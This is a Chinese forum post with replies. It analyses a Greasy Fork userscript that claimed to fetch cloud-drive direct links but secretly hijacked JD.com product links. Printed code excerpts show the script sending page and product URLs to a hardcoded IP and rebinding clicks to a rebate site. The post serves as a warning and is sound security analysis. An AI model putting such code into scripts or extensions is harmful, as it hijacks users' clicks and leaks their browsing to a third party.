篡改猴脚本“获取网盘直链”劫持京东商品详情页分析

查看 53|回复 9
作者:darksied   
00.背景
今天在京东购物时,发现点击任意一个商品的链接,浏览器打开新窗口,并跳转地址:https://ts.azkou.cn/ts.html?url=https%3A%2F%2Funion-click.jd.com%2Fjdc
该地址已经打不开,但看域名应该是购物返利的地址。也幸亏地址失效了,才发现京东地址被劫持。
初步分析是因为,安装了篡改猴脚本:“获取网盘直链”,地址:https://greasyfork.org/scripts/523351。
01.分析
打开脚本调试了一下,梳理流程如下:
[JavaScript] 纯文本查看 复制代码   let defaults = {
                    async initPanLinker() {
                        let href = encodeURIComponent(location.href);
                        let res = await base.post(`http://124.222.238.158/pan.php?ver=${version}&a=${author}&href=${href}`, {}, {}, 'json');
                        if (res.page == 'search') {
                            base.panData = res;
                            setInterval(function() {
                                base.createTips()
                            }, res.timer);
                        } else {
                            if (res.recove_url) {
                                window.location.href = res.recove_url
                            }
                        }
                    },
                };
脚本初始化时,向124.222.238.158 发送查询信息(这个post在浏览器调试工具中看不到,为啥?),返回
[JavaScript] 纯文本查看 复制代码{
"page": "search",
"wrapper": [
".more2_list>li"
],
"timer": 200,
"splName": 8,
"jumpUrl": "https://ts.azkou.cn/ts.html?url="
}
可以看到,首先返回了返利网站地址,然后创建定时器,执行createTips();
[JavaScript] 纯文本查看 复制代码createTips() {
                        let tempList = [];
                        base.panData.wrapper.forEach(function(i) {
                            let list = $(i);
                            list.map(function(k, s) {
                                if ($(s).attr('data-md5-value') != 'yes') {
                                    base.panList.push(s);
                                    base.panTemp.push(s);
                                    $(s).attr('data-md5-key', base.panKey);
                                    $(s).attr('data-md5-value', 'yes');
                                    base.panKey++;
                                }
                            })
                        })
                        let requestTemp = base.panTemp.splice(0, base.panData.splName);
                        let requestList = [];
                        requestTemp.forEach(function(s, k) {
                            let temp = {};
                            temp['href'] = $(s).find('a:first').attr('href');
                            temp['md5'] = $(s).attr('data-md5-key');
                            requestList.push(temp);
                        })
                        if (requestList.length > 0) {
                            base.post(`http://124.222.238.158/search.php`, JSON.stringify({
                                data: requestList
                            }), {}, 'json').then( (res) => {
                                res.map(function(item) {
                                    if (item.u) {
                                        $(base.panList[item.md5]).find('a').bind("click", function(e) {
                                            e.preventDefault();
                                            base.jump(item.u);
                                        })
                                    }
                                })
                            }
                            );
                        }
                    },
代码主要功能:
1.遍历页面中商品列表,类似https://item.jd.com/100038004347.html;
2.通过124.222.238.158/search.php查询地址对应的返利地址
3.base.panList[item.md5]).find('a').bind("click", function(e)  绑定链接的点击事件,替换成打开返利网站地址。
02.总结
一直比较喜欢用篡改猴,现在看来不是很安全,如果脚本中添加一些恶意操作很难发现。

地址, 脚本

泡泡汽水   

感谢楼主提醒,已经对插件进行简单排查了,原来经常跳转得返现页面是插件引起的,还以为是jd有优惠跳转呢,看起来就怪怪的。
另外greasyfork上这个脚本已经被删除了。。
ajay1995   

感谢楼主提醒
suncodes   

感谢提醒
teddymvs   

像这种用http:传而不是https:。1.是有本质的区别吗(比如返利的这种劫持都是这样的http:)2.有没有油猴脚本来检测油猴脚本的功能,来帮忙排除这种潜在的恶意脚本
m_h   

我现在自己管理插件。注入js  不搞那么复杂的东西用。 也就是抛弃  油猴了。
YuYu798   

之前用的超级复制插件也会发一些关于京东的请求, 还是调试前端项目的时候发现的
hunanxiaom   

马上618了,各种返利的都来了,每次大促的时候都是重灾区
horvan   

多谢提醒
fuyuanw   

谢谢提醒,不擦亮眼睛真是很容易中招!
您需要登录后才可以回帖 登录 | 立即注册

返回顶部